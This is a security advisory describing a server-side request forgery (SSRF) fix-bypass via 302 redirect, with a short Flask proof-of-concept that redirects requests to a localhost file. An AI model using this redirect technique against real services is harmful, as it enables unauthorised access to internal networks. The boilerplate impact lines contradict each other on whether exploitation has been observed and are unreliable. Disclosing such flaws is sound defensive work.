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GHSA-9f46-w24h-69w4
No affected components available
Summary
A recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur. Because the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet.
Details
Use the following script to deploy on the attacker's server. Since ports 80, 443, and 8080 are default ports within the security range set by the administrator and will not be blocked, the service is deployed on port 8080.
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/redirect')
def ssrf_redirect():
return redirect('http://127.0.0.1:8003/uid.txt', code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
Then, a request is made to the malicious service opened by the attacker, and it can be found that the resources on the intranet are successfully accessed. <img width="663" height="60" alt="image" src="https://github.com/user-attachments/assets/2f296cff-510d-4cfe-8509-518e747bf8fe" /> At the same time, the locally opened service 127.0.0.1:8083/uid.txt also received related requests. <img width="717" height="79" alt="image" src="https://github.com/user-attachments/assets/d6b6d2cc-280b-45b5-9946-10b7891bf017" />
Impact
Using 302 redirects to bypass previous SSRF security fixes
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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